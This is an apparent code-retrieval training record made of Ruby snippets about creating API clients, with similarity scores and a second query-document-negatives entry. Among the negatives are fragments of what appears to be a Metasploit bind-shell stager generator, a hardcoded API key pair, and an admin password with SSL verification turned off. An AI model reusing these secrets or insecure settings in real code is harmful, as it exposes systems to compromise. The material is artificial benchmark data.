"def ensure_chef_client\n step(\" ensuring chef client exists\")\n return @chef_client if chef_client\n step( \" creating chef client\", :green)\n @chef_client = Chef::ApiClient.new\n @chef_client.name(fullname)\n @chef_client.admin(false)\n #\n # ApiClient#create sends extra params that fail -- we'll do it ourselves\n # purposefully *not* catching the 'but it already exists' error: if it\n # didn't show up in the discovery process, we're in an inconsistent state\n response = chef_api_server_as_admin.post_rest(\"clients\", { 'name' => fullname, 'admin' => false, 'private_key' => true })\n client_key.body = response['private_key']\n client_key.save\n @chef_client\n end",
"def recreate_client\n @http.close\n create_client\n end",
"def configure_ai_client(client_name,client_arch,client_mac,client_ip,client_model,publisher_host,service_name,image_name)\n # Populate questions for AI profile\n if !service_name.match(/i386|sparc/)\n service_name = service_name+\"_\"+client_arch\n end\n check_ai_client_doesnt_exist(client_name,client_mac,service_name)\n populate_ai_client_profile_questions(client_ip,client_name)\n process_questions(service_name)\n if $os_name.match(/Darwin/)\n tftp_version_dir = $tftp_dir+\"/\"+service_name\n check_osx_iso_mount(tftp_version_dir,iso_file)\n end\n output_file = $work_dir+\"/\"+client_name+\"_ai_profile.xml\"\n create_ai_client_profile(output_file)\n puts \"Configuring:\\tClient \"+client_name+\" with MAC address \"+client_mac\n import_ai_client_profile(output_file,client_name,client_mac,service_name)\n create_ai_client(client_name,client_arch,client_mac,service_name,client_ip)\n if $os_name.match(/SunOS/) and $os_rel.match(/11/)\n clear_solaris_dhcpd()\n end\n return\nend",
"def add_client(client, clients)\n\tclients << client\nend",
"def create_client\n @client = if @opts[:servers]\n Monga::Clients::ReplicaSetClient.new(@opts)\n else\n Monga::Clients::SingleInstanceClient.new(@opts)\n end\n end",
"def encryptor\n ActiveSupport::MessageEncryptor.new(ActiveSupport::KeyGenerator.new(\n ENV.fetch(\"SECRET_KEY_BASE\")\n ).generate_key(\n ENV.fetch(\"ENCRYPTION_SERVICE_SALT\"),\n ActiveSupport::MessageEncryptor.key_len\n ))\n end",
"def ssl_client_key\n super\n end",
"def create_client\n client = Client.find_or_initialize_by(uid: @client_uid)\n client.name = uf2_client.name.to_s\n client.vertical = uf2_client.g5_vertical.to_s\n client.domain = uf2_client.g5_domain.to_s\n client.type = uf2_client.g5_domain_type.to_s\n client.organization = uf2_client.g5_organization.to_s\n client.secure_domain = uf2_client.g5_secure_domain.to_s\n client.go_squared_client_id = uf2_client.try(:go_squared_client_id).to_s\n client.go_squared_tag = uf2_client.try(:go_squared_tag).to_s\n client.cls_url = uf2_client.try(:g5_cls_url).to_s\n client.cxm_url = uf2_client.try(:g5_cxm_url).to_s\n client.dsh_url = uf2_client.try(:g5_dsh_url).to_s\n client.cpas_url = uf2_client.try(:g5_cpas_url).to_s\n client.cpns_url = uf2_client.try(:g5_cpns_url).to_s\n client.nae_url = uf2_client.try(:g5_nae_url).to_s\n client.vls_url = uf2_client.try(:g5_vls_url).to_s\n client.save\n\n find_or_create_client_website(client) if client.type == \"SingleDomainClient\"\n end",
"def apply_grip_config(config)\n if !config.is_a?(Array)\n config = [config]\n end\n config.each do |entry|\n if !entry.key?('control_uri')\n next\n end\n client = PubControlClient.new(entry['control_uri'])\n if entry.key?('control_iss')\n client.set_auth_jwt({'iss' => entry['control_iss']}, entry['key'])\n end\n super_add_client(client)\n end\n end",
"def setup_ssl_auth\n super\n @client.ciphers = [\"DEFAULT:!DH\"]\n end",
"def prepare_client_settings!\n return {} unless options = settings(:client) and options = options.first\n\n if hosts = options[:hosts]\n host, port = hosts.shift\n hosts << [host, port]\n\n options.merge!( :host => host, :port => port )\n end\n\n options\n end",
"def orchestrate_client\n client\n end",
"def update\n # NOTE: API V1 dropped support for updating client keys via update (aka PUT),\n # but this code never supported key updating in the first place. Since\n # it was never implemented, we will simply ignore that functionality\n # as it is being deprecated.\n # Delete this comment after V0 support is dropped.\n payload = { name: name }\n payload[:validator] = validator unless validator.nil?\n\n # DEPRECATION\n # This field is ignored in API V1, but left for backwards-compat,\n # can remove after API V0 is no longer supported.\n payload[:admin] = admin unless admin.nil?\n\n begin\n new_client = chef_rest_v1.put(\"clients/#{name}\", payload)\n rescue Net::HTTPClientException => e\n # rescue API V0 if 406 and the server supports V0\n supported_versions = server_client_api_version_intersection(e, SUPPORTED_API_VERSIONS)\n raise e unless supported_versions && supported_versions.include?(0)\n\n new_client = chef_rest_v0.put(\"clients/#{name}\", payload)\n end\n\n Chef::ApiClientV1.from_hash(new_client)\n end",
"def new_client(username , password)\n @client = Octokit::Client.new(:login => username, :password => password)\nend",
"def initialize(clients)\n @clients = clients\n super\n end",
"def generate_keys\n self.client_id = OAuth::Helper.generate_key(40)[0,40]\n self.client_secret_hash = OAuth::Helper.generate_key(40)[0,40]\n end",
"def generate_test_client_openvpn_configs\n assert_config! 'provider.ca.client_certificates.unlimited_prefix'\n assert_config! 'provider.ca.client_certificates.limited_prefix'\n template = read_file! Path.find_file(:test_client_openvpn_template)\n manager.environment_names.each do |env|\n vpn_nodes = manager.nodes[:environment => env][:services => 'openvpn']['openvpn.allow_limited' => true]\n if vpn_nodes.any?\n generate_test_client_cert(provider.ca.client_certificates.limited_prefix) do |key, cert|\n write_file! [:test_openvpn_config, [env, 'limited'].compact.join('_')], Util.erb_eval(template, binding)\n end\n end\n vpn_nodes = manager.nodes[:environment => env][:services => 'openvpn']['openvpn.allow_unlimited' => true]\n if vpn_nodes.any?\n generate_test_client_cert(provider.ca.client_certificates.unlimited_prefix) do |key, cert|\n write_file! [:test_openvpn_config, [env, 'unlimited'].compact.join('_')], Util.erb_eval(template, binding)\n end\n end\n end\n end",
"def setup\n\n\tsb = ServerBroker.new\n\tcb = ClientBroker.new(sb)\n\tcp = ClientProxy.new(cb)\n\n\tClient.new(cp)\n\nend",
"def orchestrator_client\n @orchestrator ||= Orchestrator.new(master.uri.to_s, username: 'admin', password: 'pie', ssl_verify: false)\nend",
"def test_auth_allow_new_clients\n File.open(File.join(@repodir, 'etchserver.conf'), 'w') do |file|\n file.puts 'auth_enabled=true'\n file.puts 'auth_deny_new_clients=false'\n end\n \n #\n # New client, should work\n #\n testname = 'auth, allow new clients, new client'\n \n FileUtils.mkdir_p(\"#{@repodir}/source/#{@targetfile}\")\n File.open(\"#{@repodir}/source/#{@targetfile}/config.xml\", 'w') do |file|\n file.puts <<-EOF\n <config>\n <file>\n <warning_file/>\n <source>\n <plain>source</plain>\n </source>\n </file>\n </config>\n EOF\n end\n \n sourcecontents = \"Test #{testname}\\n\"\n File.open(\"#{@repodir}/source/#{@targetfile}/source\", 'w') do |file|\n file.write(sourcecontents)\n end\n \n assert_etch(@server, @testroot, :testname => testname)\n \n # Verify that the file was created properly\n assert_equal(sourcecontents, get_file_contents(@targetfile), testname)\n \n #\n # Existing client, should work\n #\n testname = 'auth, allow new clients, existing client'\n \n FileUtils.mkdir_p(\"#{@repodir}/source/#{@targetfile}\")\n File.open(\"#{@repodir}/source/#{@targetfile}/config.xml\", 'w') do |file|\n file.puts <<-EOF\n <config>\n <file>\n <warning_file/>\n <source>\n <plain>source</plain>\n </source>\n </file>\n </config>\n EOF\n end\n \n sourcecontents = \"Test #{testname}\\n\"\n File.open(\"#{@repodir}/source/#{@targetfile}/source\", 'w') do |file|\n file.write(sourcecontents)\n end\n \n assert_etch(@server, @testroot, :testname => testname)\n \n # Verify that the file was created properly\n assert_equal(sourcecontents, get_file_contents(@targetfile), testname)\n \n #\n # Existing client, bad signature, should be denied\n #\n testname = 'auth, allow new clients, existing client, bad signature'\n \n FileUtils.mkdir_p(\"#{@repodir}/source/#{@targetfile}\")\n File.open(\"#{@repodir}/source/#{@targetfile}/config.xml\", 'w') do |file|\n file.puts <<-EOF\n <config>\n <file>\n <warning_file/>\n <source>\n <plain>source</plain>\n </source>\n </file>\n </config>\n EOF\n end\n \n sourcecontents = \"Test #{testname}\\n\"\n File.open(\"#{@repodir}/source/#{@targetfile}/source\", 'w') do |file|\n file.write(sourcecontents)\n end\n \n # Put some text into the original file so that we can make sure it\n # is not touched.\n origcontents = \"This is the original text\\n\"\n File.delete(@targetfile)\n File.open(@targetfile, 'w') do |file|\n file.write(origcontents)\n end\n \n assert_etch(@server, @testroot, :errors_expected => true, :key => \"--key=#{File.join(File.dirname(__FILE__), 'keys', 'testkey2')}\", :testname => testname)\n \n # Verify that the file was not touched\n assert_equal(origcontents, get_file_contents(@targetfile), testname)\n end",
"def after_create_notify_client_service\n\t\t\t\t\trequire \"open-uri\"\n\t\t\t\t\trequire \"net/http\"\n\t\t\t\t\trequire \"openssl\"\n\n\t\t\t\t\turi = URI.parse(self.install_url)\n\t\t\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\t\thttp.use_ssl = true if uri.scheme == \"https\"\n\n\t\t\t\t\trequest = Net::HTTP::Post.new(uri.request_uri)\n\t\t\t\t\trequest[\"Content-Type\"] = \"application/json\"\n\t\t\t\t\trequest.body = {\n\t\t\t\t\t\tclient_id: self.id,\n\t\t\t\t\t\tsecret: self.secret,\n\t\t\t\t\t\turl: ((MicroService::Client.configuration)? MicroService::Client.configuration.url : \"\"),\n\t\t\t\t\t\ttimestamp: self.created_at.to_i,\n\t\t\t\t\t}.to_json\n\n\t\t\t\t\tresponse = http.request(request)\n\n\t\t\t\t\t# Failed to register with external service\n\t\t\t\t\tif !response.kind_of? Net::HTTPSuccess\n\t\t\t\t\t\traise ::MicroService::Client::InstallError\n\t\t\t\t\tend\n\t\t\t\tend",
"def anonymize_clients(clients)\n clients.each do |client|\n client[:name] = 'Client ' + random_name(3).capitalize\n client[:contact_name] = 'Fred ' + random_name(6).capitalize\n client[:contact_email] = random_name(5) + '@example.com'\n client[:description] = 'A Client Description'\n end\n end",
"def client\n puts \"creating client\"\n @client ||= Vineyard::Client.new(options) #unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def _register_client(credentials)\n DoubleDutch::SpaceCadet::Config.register(\n \"#{credentials[:region]}-#{credentials[:env]}\".downcase,\n credentials[:username].downcase,\n credentials[:key],\n credentials[:region].upcase\n )\n end",
"def deploy_client\n until(@current_client.done?)\n @current_client.next!\n end\n end",
"def client_prefetch\n logger.info \"Populating client cache\"\n kube_client.apis(prefetch_resources: true)\n rescue Excon::Error::Certificate\n logger.warn \"Certificate validation failed\"\n end",
"def security_server_client\n end",
"def create\n # Revoke the old cert before creating a new one\n cert = certificate_get\n priv_key = private_key_get\n if cert && priv_key\n revoke_cert\n end\n new_cert = create_cert\n client_cert_save(new_cert)\n end",
"def generate\n xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])\n conf = {\n port: datastore['LPORT'],\n xorkey: xorkey,\n rc4key: rc4key,\n reliable: false\n }\n\n # Generate the advanced stager if we have space\n if self.available_space && required_space <= self.available_space\n conf[:exitfunk] = datastore['EXITFUNC']\n conf[:reliable] = true\n end\n\n generate_bind_tcp_rc4(conf)\n end",
"def create_stripe_client\n NewStripeClientWorker.perform_async self.id\n end",
"def add_client(client) # add client object\n @clients[client.name] = client\n end",
"def with_client\n begin\n @client = client_class.new\n rescue SystemExit,NoMemoryError\n raise\n rescue Exception => detail\n puts detail.backtrace if Puppet[:trace]\n Puppet.err \"Could not create instance of #{client_class}: #{detail}\"\n return\n end\n yield @client\n ensure\n @client = nil\n end",
"def set_session\n session_id = SecureRandom.hex(4)\n @connections[:clients].each do |other_session, other_client|\n if session_id == other_session\n # session_id is not unique\n set_session\n end\n end\n session_id\n end",
"def set_ssl_client_key(opts)\n opts = check_params(opts,[:keys])\n super(opts)\n end",
"def set_keys\n if self.private_changed? and self.private\n if self.moderator_key.blank?\n self.moderator_key = SecureRandom.hex(4)\n end\n if self.attendee_key.blank?\n self.attendee_key = SecureRandom.hex(4)\n end\n end\n end",
"def boot_client!\n unless @client_ready\n LOG.info \"Preparing client library.\"\n \n # populate registries needed for client and expose them\n broker = BrokerRegistry.new\n dest = DestinationRegistry.new( broker ) \n @registry.store(:broker, broker)\n @registry.store(:destination, dest) \n \n # setup the DSL for configuration\n @dsl = DSL.new( @registry )\n \n # other initialization\n @gateway = Gateway.new( @registry[:destination] ) \n \n @client_ready = true\n end\n end",
"def client; end",
"def client; end",
"def initialize(clients)\n @all_clients = clients\n end",
"def create_client(&callback)\n begin\n client_id = @server.generate_id\n end while @connected.containsKey(client_id)\n ping(client_id)\n @server.debug 'Created new client ?', client_id\n @server.trigger(:handshake, client_id)\n callback.call(client_id)\n end",
"def create_client\n Metaforce.configuration.log = false\n\n target_org_name = \"production\"\n\n # Pull org credentials from a YAML file for now.\n # Awesome use of YML and Constants.\n config = YAML.load(File.read(METAFORCE_CONFIG_FILE_PATH))\n # {\"production\"=>{\"username\"=>\"[email protected]\", \"password\"=>\"som3p4ss\", \"security_token\"=>\"A23bG523dad\"}, \"developer\"=>...}\n\n #if (target_org_name == \"production\")\n # This is a hard habit to break, but if statements with ()'s are a code smell in ruby.\n # They're only ever needed for complex conditionals and ruby has better ways of handling them.\n #\n if (true)\n config_username = config[target_org_name][:username]\n config_password = config[target_org_name][:password]\n config_security_token = config[target_org_name][:security_token]\n end\n\n # You probably wants this to be a class var.\n @client = Metaforce.new :username => config_username, :password => config_password, :security_token => config_security_token\nend",
"def hmac_client; end",
"def create_client_of_cybozu\n cybozu = Cybozu.find(1) \n CybozuApi::Client.new(cybozu.url, cybozu.login_id, cybozu.password)\n end",
"def test_auth_deny_new_clients\n File.open(File.join(@repodir, 'etchserver.conf'), 'w') do |file|\n file.puts 'auth_enabled=true'\n file.puts 'auth_deny_new_clients=true'\n end\n \n #\n # New client, should fail\n #\n testname = 'auth, deny new clients, new client'\n \n FileUtils.mkdir_p(\"#{@repodir}/source/#{@targetfile}\")\n File.open(\"#{@repodir}/source/#{@targetfile}/config.xml\", 'w') do |file|\n file.puts <<-EOF\n <config>\n <file>\n <warning_file/>\n <source>\n <plain>source</plain>\n </source>\n </file>\n </config>\n EOF\n end\n \n sourcecontents = \"Test #{testname}\\n\"\n File.open(\"#{@repodir}/source/#{@targetfile}/source\", 'w') do |file|\n file.write(sourcecontents)\n end\n \n # Put some text into the original file so that we can make sure it\n # is not touched.\n origcontents = \"This is the original text\\n\"\n File.open(@targetfile, 'w') do |file|\n file.write(origcontents)\n end\n \n assert_etch(@server, @testroot, :errors_expected => true, :testname => testname)\n \n # Verify that the file was not touched\n assert_equal(origcontents, get_file_contents(@targetfile), testname)\n \n #\n # Add this client to the server so that it will now be considered\n # an existing client\n #\n puts \"# Starting a second copy of the server and adding this client to the database\" if (EtchTests::VERBOSE == :debug)\n sleep 3\n repodir2 = initialize_repository\n server2 = start_server(repodir2)\n assert_etch(server2, @testroot, :testname => 'adding client to database')\n stop_server(server2)\n remove_repository(repodir2)\n \n #\n # Existing client, should work\n #\n testname = 'auth, deny new clients, existing client'\n \n FileUtils.mkdir_p(\"#{@repodir}/source/#{@targetfile}\")\n File.open(\"#{@repodir}/source/#{@targetfile}/config.xml\", 'w') do |file|\n file.puts <<-EOF\n <config>\n <file>\n <warning_file/>\n <source>\n <plain>source</plain>\n </source>\n </file>\n </config>\n EOF\n end\n \n sourcecontents = \"Test #{testname}\\n\"\n File.open(\"#{@repodir}/source/#{@targetfile}/source\", 'w') do |file|\n file.write(sourcecontents)\n end\n \n assert_etch(@server, @testroot, :testname => testname)\n \n # Verify that the file was created properly\n assert_equal(sourcecontents, get_file_contents(@targetfile), testname)\n end",
"def adding_blank_clients(clients, cli_to_rep)\n clients.each do |client|\n if cli_to_rep.has_key?(client) == false\n cli_to_rep[\"#{client}\"] = []\n end\n end\n cli_to_rep\nend",
"def generate\n xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])\n conf = {\n port: datastore['LPORT'],\n xorkey: xorkey,\n rc4key: rc4key,\n reliable: false\n }\n\n # Generate the more advanced stager if we have the space\n if self.available_space && required_space <= self.available_space\n conf[:exitfunk] = datastore['EXITFUNC']\n conf[:reliable] = true\n end\n\n generate_bind_tcp_rc4(conf)\n end",
"def configure\n yield client\n end",
"def adopt client_handler\n \n # The following blocks for login,\n # and throws on bad username:\n name = client_handler.name\n \n # Okay, I love this method to death. Atomically shove the\n # client into the dictionary, but only if another user\n # hasn't already claimed that spot in the chat circle.\n # \n # Did I mention it's atomic and threadsafe?\n \n result = @circle.put_if_absent name, client_handler\n \n # Now,\n # did it go in?\n \n unless result.nil?\n # There was already someone by that name.\n client_handler.error UsernameTakenError.new\n client_handler.graceful\n \n return # Hits the ‘ensure’ block on its way out.\n end\n \n \n \n # All's well for a new user.\n # Welcome them!\n \n client_handler.receive TiscapTransmission.new( :']welcome', nil, nil )\n \n \n # The protocol leaves it up to the server, if it wants to push\n # an active users list. I'd rather not decide, so I'm leaving\n # it up to chance:\n if rand(2) == 1\n client_handler.receive TiscapTransmission.new( :']activeusers',\n self.users.join(','),\n nil )\n end\n \n \n # Broadcast the successful arrival of\n # this esteemed user:\n self.send_public(\n TiscapTransmission.new(:']connected', name, nil),\n nil)\n \n \n \n rescue TiscapError => you_eeediot\n # Some sort of client-understantable error. Pass it on to them.\n # That said, they haven't successfully logged in, so\n # we terminate the Transport connection as soon as the\n # error messages go out.\n \n client_handler.error you_eeediot\n client_handler.graceful\n \n ensure\n # ⎛This ALWAYS gets executed before the method terminates,⎞\n # ⎝even on early return! ⎠\n \n # Even if we return early, we must---MUST!---let the\n # client handler open up its communication queues\n # so that error messages properly filter down to the client.\n # Were circumstances to require that communications never\n # open, we could do client_handler.kill before returning.\n \n client_handler.talk\n \n end",
"def initialize(client_or_api_key, &client_setup)\n if client_or_api_key.kind_of?(Orchestrate::Client)\n @client = client_or_api_key\n @api_key = client.api_key\n else\n @api_key = client_or_api_key\n @client = Client.new(api_key, &client_setup)\n end\n client.ping\n end",
"def set_keys\n self.auth = gen_key('auth') if auth.blank?\n self.mkey = gen_key('mkey') if mkey.blank?\n end",
"def init_client\n client.credentials?\n end",
"def regenerate_crypto\n info 'Regenerate crypto key'\n \n @session.configuration(:enforce_save) do\n zeroize 'crypto key'\n begin\n generate 'crypto key', 'rsa general-keys modulus 2048'\n rescue Exception => e\n generate 'crypto key', 'rsa modulus 2048'\n end\n set 'ip ssh version', 2\n end\n end",
"def client_mechanisms\n mechanisms :client\n end",
"def set_clients_setting\n @clients = current_client\n end",
"def create\n # Revoke the old cert before creating a new one\n revoke_cert if certificate && private_key && check_cert_exists\n new_cert = create_cert\n client_cert_save(new_cert)\n end",
"def launch_client\n client = Marvel::Client.new\n client.configure do |config|\n config.api_key = \"c254d7e19e2172fd7b0a5cd7f585e749\"\n config.private_key = 'f928ea4ae3e710ad33bce4c0ce67368263d5724b'\n end \n client\nend",
"def sync!(other)\n allowed_envs = deploy_groups.map(&:environment).map(&:permalink) << 'global'\n allowed_groups = deploy_groups.map(&:permalink) << 'global'\n\n keys = other.client.kv.list_recursive\n\n # we can only write the keys that are allowed to live in this server\n keys.select! do |key|\n scope = Samson::Secrets::Manager.parse_id(key)\n allowed_envs.include?(scope.fetch(:environment_permalink)) &&\n allowed_groups.include?(scope.fetch(:deploy_group_permalink))\n end\n\n Samson::Parallelizer.map(keys.each_slice(100).to_a) do |keys|\n # create new clients to avoid any kind of blocking or race conditions\n other_client = other.create_client\n local_client = create_client\n\n keys.each do |key|\n secret = other_client.kv.read(key).data\n local_client.kv.write(key, secret)\n end\n end\n end",
"def one_client_user(user)\n client = Client.new(\"dummy:dummy\")\n client.one_auth = \"#{user[:name]}:#{user[:password]}\"\n \n return client\n end",
"def exchange_keys\n result = send_kexinit\n verify_server_key(result[:server_key])\n session_id = verify_signature(result)\n confirm_newkeys\n\n {\n session_id: session_id,\n server_key: result[:server_key],\n shared_secret: result[:shared_secret],\n hashing_algorithm: digester\n }\n end",
"def auto_initialize!\n client\n topic\n end",
"def connection_status_crypt_enable; end",
"def get_new_client_not_opt_in(client_data = {}, member_data_opts = {})\n default_member_opts = { :joined_fund => Faker::Date.between(from: 3.years.ago, to: 1.years.ago).to_s }\n member_data = member_data_opts.merge(default_member_opts)\n client_number, member_number = create_client_with_policy(client_data, member_data) \n client = Client.get(client_number)\n return client\n end",
"def client\n set_connection unless @client\n @client\n end",
"def get_client(client_class = ::Elarian::BaseClient)\n @default_client ||= client_class.new(connection_credentials)\n on_error = lambda do |error|\n puts \"Error occurred #{error}\"\n disconnect_and_stop_loop\n end\n @default_client.on(:error, on_error)\n connect(@default_client)\n @default_client\n end",
"def create_client_info\n store.hmset(@client.uid, \"gen_func\", \"increment by 1\", \"min_critical\", MIN_CRITICAL, \"max_critical\", MAX_CRITICAL )\n end",
"def add_client(client)\n clients.push(client)\n end",
"def generate_keys(from_wallet_name, master_key)\n ks = { 'master' => master_key }\n %w(recovery money social memo).each do |role|\n private_key = Xgt::Ruby::Auth.generate_wif(from_wallet_name, master_key, 'recovery')\n public_key = Xgt::Ruby::Auth.wif_to_public_key(private_key, @address_prefix)\n ks[\"#{role}_private\"] = private_key\n ks[\"#{role}_public\"] = public_key\n end\n ks['wallet_name'] = Xgt::Ruby::Auth.generate_wallet_name(ks['recovery_public'])\n ks\nend",
"def init_cosigner_master(wallet, index)\n key = \"cosigner#{index}\".to_sym\n wallet[key] = {}\n wallet[key][:master] = seed(index)\nend",
"def mongos_each_direct_client\n return unless ClusterConfig.instance.topology == :sharded\n\n client = ClientRegistry.instance.global_client('basic')\n client.cluster.next_primary\n client.cluster.servers.each do |server|\n direct_client = ClientRegistry.instance.new_local_client(\n [ server.address.to_s ],\n SpecConfig.instance.test_options.merge(\n connect: :sharded\n ).merge(SpecConfig.instance.auth_options)\n )\n yield direct_client\n direct_client.close\n end\n end",
"def starttls_auto?; end",
"def client\n end"
] | [
"0.7128047",
"0.6637864",
"0.63983595",
"0.636326",
"0.6261905",
"0.62061864",
"0.6150277",
"0.6130536",
"0.6110783",
"0.60882235",
"0.6028533",
"0.6023956",
"0.60042936",
"0.60005385",
"0.60002774",
"0.5981409",
"0.5757968",
"0.5757846",
"0.5757846",
"0.5726197",
"0.5720022",
"0.570212",
"0.5692395",
"0.56908756",
"0.56674176",
"0.5647611",
"0.5613877",
"0.5599079",
"0.55965126",
"0.55896515",
"0.55818826",
"0.5574178",
"0.5569109",
"0.556522",
"0.55574745",
"0.5540264",
"0.5539802",
"0.5521927",
"0.5521634",
"0.5506823",
"0.5506492",
"0.5501505",
"0.54996264",
"0.5489908",
"0.5480689",
"0.54469705",
"0.5445361",
"0.544022",
"0.5439622",
"0.5438428",
"0.54381144",
"0.5427434",
"0.5424852",
"0.5421822",
"0.5412737",
"0.54118305",
"0.53979146",
"0.53875005",
"0.5380075",
"0.5373483",
"0.53715044",
"0.5365337",
"0.5353645",
"0.5353113",
"0.5352298",
"0.53492177",
"0.53492177",
"0.5326793",
"0.53213406",
"0.5320684",
"0.53156704",
"0.53142834",
"0.53130364",
"0.5310386",
"0.53101474",
"0.5298968",
"0.5298539",
"0.52894247",
"0.5287678",
"0.5279543",
"0.52762353",
"0.52709734",
"0.52670383",
"0.52613",
"0.5253401",
"0.5246979",
"0.5242885",
"0.5239988",
"0.5239871",
"0.5237587",
"0.5233477",
"0.52284646",
"0.5227202",
"0.5226297",
"0.52120763",
"0.52102953",
"0.5206103",
"0.5201412",
"0.520138",
"0.5189261"
] | 0.6696535 | 1 |
Creates or return already created internal client to be used for auto encryption. | def internal_client(client)
@internal_client ||= client.with(
auto_encryption_options: nil,
min_pool_size: 0,
monitoring: client.send(:monitoring),
)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_client\n client_public, client_private = ZMQ::Util.curve_keypair\n store_known_client(client_public)\n\n {\n server_public_key: @public_key,\n public_key: client_public,\n private_key: client_private\n }\n end",
"def create_client!\n Chef::ApiClient::Registration.new(node_name, client_path, http_api: rest).run\n end",
"def create_client\n @client = if @opts[:servers]\n Monga::Clients::ReplicaSetClient.new(@opts)\n else\n Monga::Clients::SingleInstanceClient.new(@opts)\n end\n end",
"def build_encrypter\n @encrypter = Crypt::AutoEncrypter.new(\n @options[:auto_encryption_options].merge(client: self)\n )\n end",
"def new_client(id, env, private_key, secret)\n app_config = AppConfig.new(\n id: id,\n env: env,\n private_key: private_key,\n secret: secret\n )\n\n Client.new(config: app_config)\n end",
"def get_client\n config.client.new(self)\n end",
"def client\n @admin ||= User.find_by(is_admin: true)\n @auth_record ||= @admin.auth_record\n @client ||= CiscoAmpApi::V1::Client.new(@auth_record.api_client, @auth_record.api_key )\n end",
"def client\n puts \"creating client\"\n @client ||= Vineyard::Client.new(options) #unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def create\n payload = {\n name: name,\n validator: validator,\n # this field is ignored in API V1, but left for backwards-compat,\n # can remove after OSC 11 support is finished?\n admin: admin,\n }\n begin\n # try API V1\n raise Chef::Exceptions::InvalidClientAttribute, \"You cannot set both public_key and create_key for create.\" if !create_key.nil? && !public_key.nil?\n\n payload[:public_key] = public_key unless public_key.nil?\n payload[:create_key] = create_key unless create_key.nil?\n\n new_client = if Chef::Config[:migrate_key_to_keystore] == true\n chef_rest_v1_with_validator.post(\"clients\", payload)\n else\n chef_rest_v1.post(\"clients\", payload)\n end\n\n # get the private_key out of the chef_key hash if it exists\n if new_client[\"chef_key\"]\n if new_client[\"chef_key\"][\"private_key\"]\n new_client[\"private_key\"] = new_client[\"chef_key\"][\"private_key\"]\n end\n new_client[\"public_key\"] = new_client[\"chef_key\"][\"public_key\"]\n new_client.delete(\"chef_key\")\n end\n\n rescue Net::HTTPClientException => e\n # rescue API V0 if 406 and the server supports V0\n supported_versions = server_client_api_version_intersection(e, SUPPORTED_API_VERSIONS)\n raise e unless supported_versions && supported_versions.include?(0)\n\n # under API V0, a key pair will always be created unless public_key is\n # passed on initial POST\n payload[:public_key] = public_key unless public_key.nil?\n\n new_client = chef_rest_v0.post(\"clients\", payload)\n end\n Chef::ApiClientV1.from_hash(to_h.merge(new_client))\n end",
"def new_client(credentials)\n safely do\n return SBCClient.new(credentials.user, credentials.password)\n end\n end",
"def client\n @client ||= Client.new\n end",
"def recreate_client\n @http.close\n create_client\n end",
"def create_client_of_cybozu\n cybozu = Cybozu.find(1) \n CybozuApi::Client.new(cybozu.url, cybozu.login_id, cybozu.password)\n end",
"def get_client(client_class = ::Elarian::BaseClient)\n @default_client ||= client_class.new(connection_credentials)\n on_error = lambda do |error|\n puts \"Error occurred #{error}\"\n disconnect_and_stop_loop\n end\n @default_client.on(:error, on_error)\n connect(@default_client)\n @default_client\n end",
"def encryption_client; end",
"def client\n @client ||= ActiveSupport::MessageEncryptor.new(@key, cipher: 'aes-256-cbc')\n end",
"def client\n @client ||= Client.new(configuration)\n end",
"def client\n @client ||= Client.new(config[:credentials], config[:end_point])\n end",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def new\n build_client\n end",
"def create_client\n\nend",
"def ensure_chef_client\n step(\" ensuring chef client exists\")\n return @chef_client if chef_client\n step( \" creating chef client\", :green)\n @chef_client = Chef::ApiClient.new\n @chef_client.name(fullname)\n @chef_client.admin(false)\n #\n # ApiClient#create sends extra params that fail -- we'll do it ourselves\n # purposefully *not* catching the 'but it already exists' error: if it\n # didn't show up in the discovery process, we're in an inconsistent state\n response = chef_api_server_as_admin.post_rest(\"clients\", { 'name' => fullname, 'admin' => false, 'private_key' => true })\n client_key.body = response['private_key']\n client_key.save\n @chef_client\n end",
"def client\n set_connection unless @client\n @client\n end",
"def get_client\n @client = Ethereum::Client.create(@url) if @client.nil?\n @client\n end",
"def new_client_application\n OAuth2::Client.new(caller_service.client_id, caller_service.client_secret, :site => authorizator_service.site, :raise_errors => false)\n end",
"def client\n if !@client || @client.hash != options.hash\n @client = Croudia::Client.new\n end\n @client\n end",
"def client(group, version)\n # Return the client immediately if it has been created before:\n key = group + '/' + version\n client = @clients[key]\n return client if client\n\n # Determine the API path:\n if group == CORE_GROUP\n path = '/api'\n else\n path = '/apis/' + group\n end\n\n # Create the client and save it:\n url = URI::Generic.build(\n scheme: 'https',\n host: @host,\n port: @port,\n path: path\n )\n client = Kubeclient::Client.new(\n url.to_s,\n version,\n @opts\n )\n @clients[key] = client\n\n # Return the client:\n client\n end",
"def orchestrate_client\n client\n end",
"def new_client\n Savon.client(\n wsdl: @wsdl,\n endpoint: @endpoint,\n convert_request_keys_to: :none,\n soap_version: 1,\n pretty_print_xml: true,\n filters: [:password],\n logger: @soap_logger,\n log_level: @soap_log_level,\n log: @soap_log\n )\n end",
"def init_client; end",
"def client\n key, secret = credentials\n @client ||= Cloudkick::Base.new(key, secret)\n end",
"def client\n return @client if @client\n\n unless session = cached_session\n Logger.info \"Creating a new Baidu session!\"\n session = create_session!\n end\n\n @client = Baidu::PCS::Client.new(session, dir_name)\n rescue => err\n raise Error.wrap(err, 'Authorization Failed.')\n end",
"def new\n @client = Client.new\n end",
"def new\n @client = Client.new\n end",
"def new\n @client = Client.new\n end",
"def client\n @client ||= begin\n config(file: true) if !user_id\n User.new(user_id, password, security_code)\n end\n end",
"def set_or_create_clients(options)\n client = options[:client]\n @key_vault_client = if options[:key_vault_client]\n options[:key_vault_client]\n elsif client.options[:max_pool_size] == 0\n client\n else\n internal_client(client)\n end\n\n @metadata_client = if options[:bypass_auto_encryption]\n nil\n elsif client.options[:max_pool_size] == 0\n client\n else\n internal_client(client)\n end\n end",
